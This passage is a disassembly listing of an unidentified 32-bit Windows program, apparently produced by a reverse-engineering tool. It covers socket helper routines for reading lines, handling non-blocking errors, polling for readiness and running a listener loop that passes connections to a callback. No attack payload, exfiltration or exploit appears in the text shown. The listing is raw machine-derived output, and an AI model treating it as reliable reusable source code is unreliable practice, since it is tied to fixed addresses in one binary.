		push	0
		inc	eax
		push	edx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jz	short loc_41A9AF
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AA24
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A9BC


loc_41A9AF:				; CODE XREF: sub_41A8C0+BCj
		call	sub_40195B
		test	al, al
		jnz	loc_41A91B


loc_41A9BC:				; CODE XREF: sub_41A8C0+39j
					; sub_41A8C0+48j ...
		call	sub_40195B
		test	al, al
		jz	short loc_41AA24
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AB615Ah
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41A9F1
		mov	[ecx], eax


loc_41A9F1:				; CODE XREF: sub_41A8C0+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AA09
		test	eax, eax
		jz	short loc_41AA09
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AA09:				; CODE XREF: sub_41A8C0+134j
					; sub_41A8C0+138j
		nop
		call	near ptr 71AB94DCh
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AA24:				; CODE XREF: sub_41A8C0+13j
					; sub_41A8C0+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A8C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AAA0:				; CODE XREF: ___:00401618j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAF1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41AAF1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41AAD2
		mov	[ecx], eax


loc_41AAD2:				; CODE XREF: ___:0041AACEj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAE0
		test	eax, eax
		jz	short loc_41AAE0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AAE0:				; CODE XREF: ___:0041AAD5j
					; ___:0041AAD9j
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AAF1:				; CODE XREF: ___:0041AAA9j
					; ___:0041AAB3j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AB20:				; CODE XREF: ___:004019B0j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41AB3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AB3C:				; CODE XREF: ___:0041AB32j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AB52


loc_41AB48:				; CODE XREF: ___:0041AB8Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AB52:				; CODE XREF: ___:0041AB46j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41ABB6
		mov	edi, ebp


loc_41AB6B:				; CODE XREF: ___:0041ABB4j
		cmp	edi, ebx
		jz	short loc_41ABB6
		cmp	[esp+18h], bl
		jz	short loc_41ABB6
		call	sub_40195B
		test	al, al
		jz	short loc_41ABB6
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41AB48
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41ABA1
		cmp	al, 0Dh
		jz	short loc_41ABA1
		cmp	al, bl
		jnz	short loc_41ABA9


loc_41ABA1:				; CODE XREF: ___:0041AB97j
					; ___:0041AB9Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41ABA9:				; CODE XREF: ___:0041AB9Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AB6B


loc_41ABB6:				; CODE XREF: ___:0041AB67j
					; ___:0041AB6Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AC00:				; CODE XREF: ___:00402180j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41AC1C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC1C:				; CODE XREF: ___:0041AC12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC32


loc_41AC28:				; CODE XREF: ___:0041AC6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC32:				; CODE XREF: ___:0041AC26j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AC9D
		mov	edi, ebp


loc_41AC4B:				; CODE XREF: ___:0041AC9Bj
		cmp	edi, ebx
		jz	short loc_41AC9D
		cmp	[esp+18h], bl
		jz	short loc_41AC9D
		call	sub_40195B
		test	al, al
		jz	short loc_41AC9D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41AC28
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AC7D
		cmp	al, bl
		jnz	short loc_41AC90


loc_41AC7D:				; CODE XREF: ___:0041AC77j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AC8A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------


loc_41AC8A:				; CODE XREF: ___:0041AC82j
		mov	[edi], bl


loc_41AC8C:				; CODE XREF: ___:0041AC88j
		mov	[esp+18h], bl


loc_41AC90:				; CODE XREF: ___:0041AC7Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC4B


loc_41AC9D:				; CODE XREF: ___:0041AC47j
					; ___:0041AC4Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ACE0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41ACF2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ACF2:				; CODE XREF: ___:0041ACEAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AD03
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD03:				; CODE XREF: ___:0041ACFBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB951Eh
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AD30	proc near		; CODE XREF: sub_401893j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41AD42
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD42:				; CODE XREF: sub_41AD30+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AD53
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD53:				; CODE XREF: sub_41AD30+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC0B50h
		pop	esi
		retn	8
sub_41AD30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD80:				; CODE XREF: ___:00401C3Fj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41ADBF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ADB5
		cmp	[esi+80Bh], cl
		jz	short loc_41ADB5
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADB5:				; CODE XREF: ___:0041AD9Ej
					; ___:0041ADA6j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADBF:				; CODE XREF: ___:0041AD99j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41ADF5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADF5:				; CODE XREF: ___:0041ADE9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE50:				; CODE XREF: ___:004016E5j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AE6D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AE6D:				; CODE XREF: ___:0041AE61j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AEA9
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEA9:				; CODE XREF: ___:0041AE9Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AEF0:				; CODE XREF: ___:0040173Aj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		nop
		call	near ptr 77C47A90h
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AF60	proc near		; CODE XREF: sub_4018BBj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41AF90
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		nop
		call	near ptr 71AB4519h
		retn	4
; ---------------------------------------------------------------------------


loc_41AF90:				; CODE XREF: sub_41AF60+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		call	near ptr 71AB4519h
		nop
		retn	4
sub_41AF60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C0
		mov	eax, esi
		pop	esi
		retn
sub_41AFE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B010	proc near		; CODE XREF: ___:00401915j sub_401E74j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40186B
		test	[esp+4+arg_0], 1
		jz	short loc_41B028
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B028:				; CODE XREF: sub_41B010+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B040	proc near		; CODE XREF: sub_40186Bj
		mov	dword ptr [ecx], offset	off_43E0C0
		add	ecx, 4
		jmp	sub_401FC8
sub_41B040	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B060	proc near		; CODE XREF: sub_401636j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40195B
		test	al, al
		jnz	short loc_41B072
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B072:				; CODE XREF: sub_41B060+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B0C5
		push	esi
		call	near ptr 71AB4FD4h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B097
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B097:				; CODE XREF: sub_41B060+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B0AC


loc_41B0A1:				; CODE XREF: sub_41B060+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B0A1


loc_41B0AC:				; CODE XREF: sub_41B060+3Fj
		call	sub_401EEC
		dec	esi
		push	esi
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B0C5:				; CODE XREF: sub_41B060+20j
		pop	edi
		pop	esi
		retn	4
sub_41B060	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B0F0:				; CODE XREF: ___:00402095j
		push	0FFFFFFFFh
		push	offset loc_43AD07
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40195B
		test	al, al
		jnz	short loc_41B12F
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401861
		jmp	loc_41B2DB
; ---------------------------------------------------------------------------


loc_41B12F:				; CODE XREF: ___:0041B118j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401861
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017E4
		test	eax, eax
		push	offset byte_446F60
		jnz	short loc_41B16C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B2CE
; ---------------------------------------------------------------------------


loc_41B16C:				; CODE XREF: ___:0041B156j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_446F60
		jnz	short loc_41B192
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B2CE
; ---------------------------------------------------------------------------


loc_41B192:				; CODE XREF: ___:0041B17Cj
		lea	ecx, [esp+18h]
		call	sub_401861
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017E4
		push	eax
		call	sub_436FC6
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B1D6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+0Ch], edi
		jmp	loc_41B2C0
; ---------------------------------------------------------------------------


loc_41B1D6:				; CODE XREF: ___:0041B1BBj
		mov	edi, [esp+10h]
		mov	esi, offset dword_443DC4
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B1E4:				; CODE XREF: ___:0041B202j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B208
		cmp	cl, bl
		jz	short loc_41B204
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B208
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B1E4


loc_41B204:				; CODE XREF: ___:0041B1EEj
		xor	eax, eax
		jmp	short loc_41B20D
; ---------------------------------------------------------------------------


loc_41B208:				; CODE XREF: ___:0041B1EAj
					; ___:0041B1F8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B20D:				; CODE XREF: ___:0041B206j
		cmp	eax, ebx
		jz	short loc_41B27B
		push	ebp


loc_41B212:				; CODE XREF: ___:0041B265j
					; ___:0041B269j
		call	near ptr 27E0716h
		nop
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B226
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B26B


loc_41B226:				; CODE XREF: ___:0041B21Dj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B232
		mov	edi, ebp


loc_41B232:				; CODE XREF: ___:0041B22Ej
		mov	eax, [edi+4]
		mov	esi, offset dword_443DC4


loc_41B23A:				; CODE XREF: ___:0041B258j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B25E
		cmp	cl, bl
		jz	short loc_41B25A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B25E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B23A


loc_41B25A:				; CODE XREF: ___:0041B244j
		xor	eax, eax
		jmp	short loc_41B263
; ---------------------------------------------------------------------------


loc_41B25E:				; CODE XREF: ___:0041B240j
					; ___:0041B24Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B263:				; CODE XREF: ___:0041B25Cj
		cmp	eax, ebx
		jnz	short loc_41B212
		mov	edi, ebp
		jmp	short loc_41B212
; ---------------------------------------------------------------------------


loc_41B26B:				; CODE XREF: ___:0041B224j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015D7
		pop	ebp
		jmp	short loc_41B288
; ---------------------------------------------------------------------------


loc_41B27B:				; CODE XREF: ___:0041B20Fj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015D7


loc_41B288:				; CODE XREF: ___:0041B279j
		push	offset byte_446F60
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B2A8
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015D7


loc_41B2A8:				; CODE XREF: ___:0041B298j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	dword ptr [esp+0Ch], 1


loc_41B2C0:				; CODE XREF: ___:0041B1D1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B2CE:				; CODE XREF: ___:0041B167j
					; ___:0041B18Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B2DB:				; CODE XREF: ___:0041B12Aj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B390:				; CODE XREF: ___:00402135j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B3D0	proc near		; CODE XREF: sub_4013FCj ___:00402018j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BCC
		test	[esp+4+arg_0], 1
		jz	short loc_41B3E8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B3E8:				; CODE XREF: sub_41B3D0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B3D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B400	proc near		; CODE XREF: sub_401BCCj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FC8
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B400	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B470:				; CODE XREF: ___:00401D3Ej
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43E0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4B0	proc near		; CODE XREF: sub_40167Cj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B5C0
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B5C0
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401488
		mov	ebp, dword_50F8D0
		test	al, al
		jnz	short loc_41B513


loc_41B4E9:				; CODE XREF: sub_41B4B0+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B5AF
		mov	al, byte_4E6E74
		test	al, al
		jz	short loc_41B513
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401488
		test	al, al
		jz	short loc_41B4E9


loc_41B513:				; CODE XREF: sub_41B4B0+37j
					; sub_41B4B0+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B5AF


loc_41B51E:				; CODE XREF: sub_41B4B0+F9j
		mov	al, byte_4E6E74
		test	al, al
		jz	loc_41B5AF
		test	esi, esi
		jnz	short loc_41B54E
		push	80Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B54A
		push	esi
		mov	ecx, eax
		call	sub_401C35
		jmp	short loc_41B54C
; ---------------------------------------------------------------------------


loc_41B54A:				; CODE XREF: sub_41B4B0+8Ej
		xor	eax, eax


loc_41B54C:				; CODE XREF: sub_41B4B0+98j
		mov	esi, eax


loc_41B54E:				; CODE XREF: sub_41B4B0+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B81
		test	al, al
		jnz	short loc_41B567
		push	7D0h
		call	ebp
		jmp	short loc_41B5A4
; ---------------------------------------------------------------------------


loc_41B567:				; CODE XREF: sub_41B4B0+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_401893
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B5A4
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B5A4:				; CODE XREF: sub_41B4B0+B5j
					; sub_41B4B0+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B51E


loc_41B5AF:				; CODE XREF: sub_41B4B0+3Ej
					; sub_41B4B0+68j ...
		mov	ecx, ebx
		call	sub_4014DD
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B5C0:				; CODE XREF: sub_41B4B0+Bj
					; sub_41B4B0+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B4B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B620:				; CODE XREF: ___:00401C21j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B695
		mov	esi, ebp


loc_41B63F:				; CODE XREF: ___:0041B693j
		cmp	esi, ebx
		jz	short loc_41B695
		cmp	[esp+18h], bl
		jz	short loc_41B695
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		call	near ptr 71AB615Ah
		nop
		cmp	eax, ebx
		jz	short loc_41B6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B6A4
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_41B69D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B680
		cmp	al, 0Dh
		jz	short loc_41B680
		cmp	al, bl
		jnz	short loc_41B688


loc_41B680:				; CODE XREF: ___:0041B676j
					; ___:0041B67Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B688:				; CODE XREF: ___:0041B67Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B63F


loc_41B695:				; CODE XREF: ___:0041B63Bj
					; ___:0041B641j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B69D:				; CODE XREF: ___:0041B66Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


